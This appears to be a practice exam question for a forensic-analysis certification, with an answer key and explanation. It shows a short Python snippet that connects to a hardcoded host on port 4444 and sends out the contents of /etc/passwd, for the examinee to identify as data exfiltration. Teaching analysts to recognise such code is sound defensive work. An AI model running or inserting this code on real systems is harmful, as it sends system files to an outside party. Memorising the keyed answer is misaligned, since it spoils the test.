300-215 Question 98
Single answerDuring an investigation, you are provided with the following code snippet extracted from a suspicious script:
import os
import socket
def exfiltrate_data():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.100', 4444))
with open('/etc/passwd', 'rb') as f:
s.sendall(f.read())
s.close()
exfiltrate_data()
Based on the provided snippet, which type of malicious behavior does this code exhibit?
- A
Data exfiltration
- B
Keylogging
- C
Privilege escalation
- D
Denial of Service (DoS)
Show answer and explanation
Correct answer: A
Explanation
The provided code snippet demonstrates data exfiltration behavior. It uses a socket to connect to a remote server and transmits the contents of a file ('/etc/passwd'), which is commonly targeted for its sensitive information. Understanding such patterns is critical in identifying and mitigating threats during forensic analysis.
- A. Correct.
The code opens a socket connection to a remote server and sends the contents of a file (in this case, '/etc/passwd'). This is indicative of data exfiltration, where sensitive data is sent to an unauthorized external entity.
- B. Incorrect.
There is no evidence of keylogging in the provided snippet. Keylogging typically involves capturing and recording keystrokes, which this code does not perform.
- C. Incorrect.
Privilege escalation involves obtaining higher-level permissions on a system, but this code does not attempt to elevate permissions. It simply reads an accessible file and transmits its contents.
- D. Incorrect.
Denial of Service (DoS) attacks aim to disrupt the availability of services, often by overwhelming a system with traffic. This code does not exhibit such behavior.